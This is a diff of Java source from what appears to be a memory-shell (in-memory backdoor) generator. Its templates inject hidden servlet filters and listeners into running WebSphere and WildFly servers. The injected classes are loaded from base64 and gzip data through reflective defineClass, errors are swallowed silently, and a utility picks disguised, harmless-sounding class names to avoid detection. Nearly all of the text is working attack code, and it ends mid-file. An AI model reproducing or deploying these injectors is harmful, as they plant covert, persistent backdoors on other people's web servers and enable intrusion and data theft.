context = getFV(request, "context");
}
}
if (context == null) {
context = getFV(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable e) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
HashSet webappContexts = new HashSet();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable e) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable e) {
}
return webappContexts.toArray();
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public void registerListener(Object context, Object listener) throws Exception {
String listenerClassName = listener.getClass().getName();
if (!isInjected(context, listenerClassName)) {
try {
Object eventsManager = getFV(context, "eventsManager");
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
} catch (Exception e) {
}
}
}
public static boolean isInjected(Object context, String listenerClassName) throws Exception {
ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
for (int i = 0; i < requestListeners.size(); i++) {
if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,272 @@
package jmg.core.template;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8
* update 2023/07/08
*/
public class WebSphereFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebSphereFilterInjectorTpl();
}
public WebSphereFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFV(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFV(stack, "config");
context = getFV(getFV(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
String filterName = getFilterName(getClassName());
try {
if (!isAdded(context, filterName)) {
Class filterMappingClass;
Class iFilterConfigClass;
Class iServletConfigClass;
ClassLoader classLoader;
try {
classLoader = context.getClass().getClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
} catch (Exception e) {
classLoader = Thread.currentThread().getContextClassLoader();
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
}
Object filterManager = getFV(context, "filterManager");
try {
// v8
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
setFV(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFV(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
} catch (Exception e) {
// v7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
setFV(filterConfig, "dispatchMode", new int[]{0});
setFV(filterConfig, "name", filterName);
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
int lastIndex = _uriFilterMappings.size() - 1;
Object lastElement = _uriFilterMappings.remove(lastIndex);
_uriFilterMappings.add(0, lastElement);
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
}
// 清除缓存
invokeMethod(getFV(filterManager, "chainCache"), "clear");
}
} catch (Exception ex) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public boolean isAdded(Object context, String filterName) throws Exception {
Object webAppConfiguration = getFV(context, "config");
List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
for (int i = 0; i < filerMappings.size(); i++) {
Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
String name = (String) invokeMethod(config, "getFilterName");
if (name.equals(filterName)) {
return true;
}
}
return false;
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = filterClass.newInstance();
} catch (Throwable ignored) {
}
}
return filter;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
getF(obj.getClass(), fieldName).set(obj, fieldValue);
}
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
}
@@ -0,0 +1,140 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class WebSphereListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WebSphereListenerInjectorTpl();
}
public WebSphereListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Object context;
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj;
for (Object wsThreadLocal : wsThreadLocals) {
obj = wsThreadLocal;
// for websphere 7.x
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFV(obj, "stack");
for (Object stack : stackList) {
try {
Object config = getFV(stack, "config");
context = getFV(getFV(config, "context"), "context");
contexts.add(context);
} catch (Exception ignored) {
}
}
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
contexts.add(context);
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = listenerClass.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
List listeners = (List) getFV(context, "servletRequestListeners");
// 判断是否已经存在
if (!listeners.contains(listener)) listeners.add(listener);
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
try {
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
}catch (Exception ignored){
}
return null;
}
}
@@ -0,0 +1,207 @@
package jmg.core.template;
import javax.servlet.DispatcherType;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class WildFlyFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WildFlyFilterInjectorTpl();
}
public WildFlyFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
try {
if (isInjected(context, getClassName())) {
return;
}
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
return false;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,197 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class WildFlyListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WildFlyListenerInjectorTpl();
}
public WildFlyListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
injectListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
public void injectListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String className) throws Exception {
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
for (int i = 0; i < allListeners.size(); i++) {
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
if (listener.getName().contains(className)) {
return true;
}
}
return false;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,74 @@
package jmg.core.util;
import jmg.core.config.Constants;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class ClassNameUtil {
static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
public static String getRandomName(String[]... arrays) {
List<String> classNames = new ArrayList<>();
for (String[] array : arrays) {
for (String className : array) {
classNames.add(className);
}
}
Random random = new Random();
int index = random.nextInt(classNames.size());
return classNames.get(index);
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
sb.append(c);
}
return sb.toString();
}
public static String getRandomInjectorClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getRandomExtenderClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getRandomLoaderClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getClassPrefixName(){
return ClassNameUtil.getRandomName(prefixNames);
}
public static String getRandomShellClassName(String shellType) {
if (shellType.contains(Constants.SHELL_LISTENER)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
}
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
}
if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
}
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
}
}
@@ -0,0 +1,312 @@
package jmg.core.util;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.jMGCodeApi;
import me.gv7.woodpecker.tools.common.FileUtil;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Random;
import java.util.regex.Pattern;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class CommonUtil {
// 合并两个数组
public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
int length1 = array1.length;
int length2 = array2.length;
